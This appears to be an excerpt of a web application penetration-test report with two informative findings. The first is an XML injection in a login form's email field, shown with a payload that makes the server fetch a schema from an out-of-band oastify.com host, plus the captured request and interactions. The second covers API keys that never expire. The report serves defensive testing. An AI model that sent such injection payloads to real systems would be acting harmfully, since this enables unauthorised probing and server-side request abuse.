The **email** parameter doesn't seem to have input validation. The payload `<enq xmlns="http://a.b/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/http://kma25aefpcxxgzfh9scde3jkw24xs0xoxcpzfn4.oastify.com/enq.xsd">enq</enq>` was sent to the server. This payload contains some XML that references a URL on an external domain. The application interacted with that domain, indicating that the parser processed the injected XML.

External service interaction arises when it is possible to induce an application to interact with an arbitrary external service, such as a web or mail server. The ability to trigger arbitrary external service interactions does not constitute a vulnerability in its own right, and in some cases might even be the intended behavior of the application. However, in many cases, it can indicate a vulnerability with serious consequences.

The ability to send requests to other systems can allow the vulnerable server to be used as an attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.

CVSS v3.1 score

- Severity: **Informative**
- Base score: 0.0 (None)
- Temporal score: 0.0 (None)
- Environmental score: 0.0 (None)
- Overall score: 0.0 (None)
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Request

```
POST /login HTTP/2
Host: app.yourcompany.dev
Accept-Encoding: gzip, deflate
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/110.0.5481.78 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: PHPSESSID=123abc123abc123abc123abc123abc123abc
Origin: https://app.yourcompany.dev
Upgrade-Insecure-Requests: 1
Referer: https://app.yourcompany.dev/login
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua: ".Not/A)Brand";v="99", "Google Chrome";v="110", "Chromium";v="110"
Sec-Ch-Ua-Platform: Windows
Sec-Ch-Ua-Mobile: ?0
Content-Length: 99
```

```
email=%3cenq%20xmlns%3d%22http%3a%2f%2fa.b%2f%22%20xmlns%3axsi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXMLSchema-instance%22%20xsi%3aschemaLocation%3d%22http%3a%2f%2fa.b%2f%20http%3a%2f%2fkma25aefpcxxgzfh9scde3jkw24xs0xoxcpzfn4.oastify.com%2fenq.xsd%22%3eenq%3c%2fenq%3e&password=d4W%21r1i%21P6&csrf=79c9776608f3a0d310f92b28ddc7592a
```

Response

```
HTTP/2 302 Found
Server: nginx/1.10.3
Date: Tue, 14 Feb 2023 23:19:01 GMT
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://app.foo.loc/hr/sign-in
X-Xss-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
```

DNS interaction

The Collaborator server received a DNS lookup of type AAAA for the domain name **123456abcdef.oastify.com**. The lookup was received from IP address 1.2.3.4:5 at 2023-Feb-14 23:18:58.722 UTC.

HTTP interaction

```
GET /enq.xsd%22>enq</enq> HTTP/1.1
Range: bytes=0-32768
User-Agent: Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)
Accept: */*
Accept-Encoding: gzip,deflate
Host: 123456abcdef.oastify.com
Cache-Control: max-age=259200
Connection: keep-alive
```

Remediation

The application should validate or sanitize user input as soon as possible on arrival and before further processing. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

References

- [OWASP - Input validation cheat sheet](#)
- [OWASP ASVS - Input validation](#)

YC-Q123-11: API keys never expire and there's no limit on their number

Description

Developer API keys that each user can create never expire and there's no limit on how many the user can create.

CVSS v3.1 score

- Severity: **Informative**
- Base score: 0.0 (None)
- Temporal score: 0.0 (None)
- Environmental score: 0.0 (None)
- Overall score: 0.0 (None)
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N

Request

```
GET /api/kong/api-keys HTTP/1.1
Host: app.yourcompany.dev
Cookie: PHPSESSID=123abc123abc123abc
Te: trailers
Connection: close
```

Response

```
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Fri, 03 Mar 2023 18:01:43 GMT
Content-Type: application/json; charset=utf-8
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
App-Version: v1000.1000.1001
X-UCID: 123abc-123abc-123abc
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close
Content-Length: 1359
```

```
{
  "data": [
    {
      "key": "foo",
      "id": "foo",
      "created_at": 1677866453,
      "ttl": null,
      "consumer": {
        "id": "foo"
      },
      "tags": null
    },
    {
      "key": "foo",
      "id": "foo",
      "created_at": 1676037285,
      "ttl": null,
      "consumer": {
        "id": "foo"
      },
      "tags": null
    },
    {
      "key": "foo",
      "id": "foo",
      "created_at": 1677866291,
      "ttl": null,
      "consumer": {
        "id": "foo"
      },
      "tags": null
    },
    {
      "key": "foo",
      "id": "foo",
      "created_at": 1677866294,
      "ttl": null,
      "consumer": {
        "id": "foo"
      },
      "tags": null
    },
    {
      "key": "foo",
      "id": "foo",

```

```
"created_at": 1676037285,
"ttl": null,
"consumer": {
  "id": "foo"
},
"tags": null
},
{
  "key": "foo",
  "id": "foo",
  "created_at": 1677866288,
  "ttl": null,
  "consumer": {
    "id": "foo"
  },
  "tags": null
},
{
  "key": "foo",
  "id": "foo",
  "created_at": 1677866293,
  "ttl": null,
  "consumer": {
    "id": "foo"
  },
  "tags": null
}
],
"next": null
}
```

Remediation

Multiple different steps or approaches can be taken on this topic:

- Remove unused keys to reduce the attack surface
- Set a limit on the number of active keys to reduce the attack surface
- Consider scoping the API keys to protect the critical parts of the platform/information
- Consider replacing the API keys with a more secure solution like JWT, OAuth or SAML

References

- [OWASP REST security cheat sheet](#)
- [Google - API security best practices](#)
- [OWASP ASVS - Token-based Session Management](#)